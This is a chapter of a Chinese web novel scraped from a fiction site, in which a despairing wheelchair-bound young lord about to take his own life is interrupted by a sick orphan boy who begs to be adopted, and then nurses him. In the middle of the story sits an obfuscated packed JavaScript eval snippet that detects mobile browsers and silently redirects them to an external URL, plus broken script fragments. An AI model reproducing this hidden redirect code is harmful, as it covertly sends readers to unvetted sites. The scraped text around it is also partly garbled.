文趣网 > 其他小说 > 义父!!我知错了! > 2. 第二章
    这人他认识,前年他从府里偷跑出来,在街上撞到了人,这位哥哥不仅没生气,还给了自己一包桂花糕,又笑眯眯的摸了摸自己的脑袋。

    桂花糕热乎乎的,软软的,那是他吃过最好吃的东西。

    回想起那个味道,虞知言咽了咽口水,也不怕坐在轮椅上的段雪峤了,他的目光落到段雪峤的手上,那道血珠还在往外渗,他抬手指了指:“你流血了。”

    段雪峤盯着他,眼眸里没有什么情绪:“出去。”

    他自尽的时候不喜欢有人看着。

    出去?不行,外头有人追他呢。于是虞知言后退了一小步,小声道:“你……你手疼不疼呀?”

    段雪峤态度依旧冷漠,他垂眼看着手里的刀刃,瞧都没瞧虞知言一眼,语气冷漠的吓人:“出去!”

    但虞知言脑子晕乎乎的,身上一会儿冷一会儿热,他茫然地看着段雪峤的脸,又瞧了瞧段雪峤手里的刀,而后扑通一声跪下了。

    不知道是吓的,还是自己站不稳摔得。

    段雪峤只觉得自己脑门直跳,他只是想找个安静的地方了结,却不想被这不知哪里来的小孩扰乱了清净。

    他视线瞥过去,这才瞧清自己身前跪着的人。

    六七岁的模样,长得很瘦弱,头发在后面编了个歪扭的麻花辫,苍白的脸上瘦得没有一丁点肉,跟只瘦猫似的,身上穿着件深褐色的衣裳……

    不对,是湿透的衣裳,还往下滴着水,这身子骨若是让冷风吹上一遭,得要了半条命去。

    他静静瞧着,丹凤眼眼尾下垂,狭长的鸦睫投下一抹阴影,遮掩住了眼底情绪:“你是哪家的孩子?”

    虞知言听到他说话,赶紧回道:“我……我不是哪家的……”

    他连忙摆着手,但又不知道怎么讲,急得小小的脸上五官都拧成一块。

    段雪峤换了问法,声音依旧冷漠:“你父母呢?”

    虞知言被问住了,父母?父母在他三岁那年就带着哥哥去了边关,在他模糊有限的记忆里,父母和哥哥只剩下一个模模糊糊的影子。

    他茫然地看着段雪峤,声音渐小:“他们……不在……去了很远很远的地方……阿嚏——”

    虞知言被冻得打了个激灵。

    不在了?段雪峤微微蹙眉,他没想到玉京城里竟然还有乞儿,不过可怜归可怜,他早已对世事感觉厌烦,也不愿跟人过多牵扯,他收回视线:“徐伯,带他去育恩堂。”

    话音落地,却没有见有人上前。

    段雪峤抬眸,他这才想起来,为了今日,他早早便将府上的人遣散了,跟在他身边的心腹,也被他打发出门。

    也就是说,现在府上只有他跟眼前不知哪冒出来的小孩。

    虞知言刚刚听着段雪峤说话,有些呆愣住,反应过来段雪峤想要把他送走,又想到府上那些人刻薄的嘴脸,心里升起莫大的惶恐。

    他扑到段雪峤跟前,抬手抓住他的袖子:“我不要!”

    “你……不要赶我走,我不想回去。”

    相比于冷冰冰的侯府,他更愿意待在给过他食物的段雪峤身边。

    他抬起脸,乌黑的眼瞳盯着段雪峤的眼睛,面上表情有些可怜,鼻音很重,声音里发着抖:“求你……不要把我送走,我……我很有用的……”

    “我会帮你穿衣,推着你晒太阳,我还会编辫子……我……我会的可多了……”

    湿漉漉的小手贴在段雪峤手臂上,沾湿的衣服贴在一起,连带着段雪峤的袖子都被水打湿,那搭在他手臂上的手指冰凉,掌心却十分滚烫。

    还不等段雪峤反应,虞知言见他不吭声,小脑袋里不知哪根筋忽然通了,他膝行两步,声调拔高:“我……我还可以给你养老!”

    段雪峤:"……?"

    虞知言仰着脸,满眼期待地看着他,认认真真地又喊了一声:

    "义父!"

    小时候老道士说他命格不好,他拜过很多义亲,拜天拜地拜山湖,唯有现在的段雪峤是一个活人。

    段雪峤十七年来第一次怀疑自己的耳朵。

    他才十七,一个比他小不知几岁的小孩,跪在他面前,喊他义父,还说要给他养老。

    他眉心拧得死紧,刚要开口,就见那小孩小嘴一瘪,眼眶以肉眼可见的速度红了,泪珠子在里面打转,啪嗒一声,砸在他手背上,烫得段雪峤手指一颤。

    "义父,你也不要我吗?"

    他长得太瘦弱了,一看就没有被好好养过,连孩童该有的婴儿肥都见不着,全靠骨相撑着,一双大眼睛挂在苍白的脸上,泪汪汪地瞧着人,跟个精致的假娃娃似的。

    段雪峤眉心拧得更紧了。

    虞知言见他表情,小嘴一撇,眼眶泛红,眼眶里蓄满了泪,啪嗒一声,豆粒大的泪珠子落到段雪峤手背上。

    灼得段雪峤手指一颤,他拧起眉:“你……”

    还不等他开口,一脸沮丧哭花了小脸的虞知言抽噎两声,身子晃了晃,而后一头栽倒在他身上。

    段雪峤面色一变,伸手揽住他,手里的匕首掉到地面上,发出哐当一声响。他抬手去碰,小孩子的脸红通通的,额头滚烫,显然是发了高烧。

    段雪峤眉心紧锁,“来人!”

    这下暗处有了反馈,一个穿着黑衣的侍卫硬着头皮现身,不敢看段雪峤的脸色:“世子爷。”

    段雪峤没空计较连青抗命的事,他一手揽着虞知言,另一只手扯过自己的外袍,将那湿冷的小身子裹了个严实。

    "叫大夫。"

    连青立马应下:“是。”

    见连青没走,后面两个贴身侍卫才现身,一人上前推着段雪峤的轮椅,一人施展轻功快速去请大夫。连青落在最后,上前一脚将地上的匕首踢到草丛里。

    三个人各忙各的,就是不敢看段雪峤。

    先前段雪峤给他们下了遣散的命令,结果都猫在这里,没一个人走。

    “冷……”

    虞知言觉得自己一会儿冷一会儿热,脑子烧得晕乎乎的,只顾着往暖和的地方钻。

    段雪峤看着往自己怀里钻的小人,手顿了下,那外套将人裹得更紧了些。

    他心想,等病好了就送走,他没有养小孩的习惯。

    先是冷,又是热,虞知言在睡梦里也不安稳,梦到自己掉到冰水池子里,过了一会冰水池子又热得冒泡,水里钻出来一块香喷喷的大鸡腿,他咬了一口,立马又吐了出来。

    呸,鸡腿是苦的。

    到嘴的东西全被他吐了出来。

    “主子,喂不下去啊……”

    连青哭丧着脸,手里拿着药碗,不知所措地看着段雪峤。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916490|213342||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    虞知言已经换了一身干净衣裳,窝在柔软的被褥里,烧得小脸通红,段雪峤的轮椅就停在床边,一截袖子还被虞知言攥在手里,捏得死紧,拉都拉不开。

    段雪峤收回视线,指节在轮椅扶手上轻叩了两下:"再喂。"

    连青硬着头皮又舀了一勺,刚碰到唇边,虞知言就紧紧闭了嘴,眉心蹙成一团,脑袋偏到一边。

    药汁顺着嘴角淌下来,全喂在了枕头上。

    段雪峤往回扯了扯袖子,虞知言好像察觉到了什么,手攥得更紧了。

    段雪峤不动了,僵持了两息,他垂眸道:"药碗给我,再去拿几块麦芽糖来。"

    连青如蒙大赦,将药碗给了段雪峤,去外间找连峰寻了糖,快速退下了。

    段雪峤将糖块放到药碗里,拿着汤勺慢慢搅,空气中弥漫的苦涩药味渐渐添了丝甜意。

    琥珀色的糖块化开,融到黑乎乎的药汤里,段雪峤垂着眼,舀了一勺药汤喂他。

    许是这次不怎么苦了,虞知言咂巴了下嘴唇,这次将药喂进了肚子。

    等吃完了药,虞知言面上表情逐渐和缓,又沉沉地睡了过去。

    段雪峤收了碗,垂眸看着躺在病床上的小孩。

    小脸因为高热烧得红扑扑的,眼帘紧闭,黑长的睫毛在眼下投下一抹阴影,小巧的鼻梁挺翘,嘴唇紧抿着,下巴瘦得没有肉,小小的身子窝在被子里,占不了多大地方。

    段雪峤坐在轮椅上,窗外的光打在他脸上,另一半张脸隐在暗处,眼底情绪不明。

    王府未曾出事前,正当年少的他惯爱打抱不平,骑在马上风流肆意,各种乐善好施,助人为乐的事顺手就做了,可半年后,家中突逢巨变,他见惯世态炎凉,连带着身子里那股子热血都凉了个透。

    他自己这般模样,又救得起谁?

    他嗤笑一声,收回视线,没有再看虞知言,扶着轮椅往后退了退,将袖子从虞知言的手里抽了回来。

    武安王府不是好归处,这孩子可以去育恩堂,日后不会受风吹雨晒之苦,还能读书写字,比跟在他一个半死不活的人身边好多了。

    躺在床上的虞知言好像意识到什么,抬手抓了抓,却抓了个空。

    外间站着的连峰硬着头皮上前:“世子爷……”

    段雪峤面无表情:“等他病好就把他送走。”

    连峰不敢接话,只是道:“世子爷,外头大夫说那小孩身子很不好,世子爷您去看看吧。”

    何止是不好,简直是闻所未闻。

    年过六旬的大夫一手捏着胡子,另一只手翻着医书,眉心都拧在了一起。

    “大夫,到底如何了?”

    旁边站着位中年男子,正是王府的管家,他按照世子爷吩咐出了门,却又不敢走太远。

    那大夫摸着胡子,不住地摇头:“这病真稀奇哦……”

    大夫还在摇头,身后忽然传来轮椅碾过青砖的声音。

    "这病怎么了?"

    大夫跟李管家回头看,就见坐在轮椅上的段雪峤出现在屋前。

    李管家瞧见轮椅上的人,唤了声“世子爷”,又看了眼段雪峤的腿,扭过头去拿袖子悄悄抹眼泪。

    连峰推着人进入屋内,段雪峤瞧见两人,视线径直落在大夫身上。

    “那孩子怎么了?”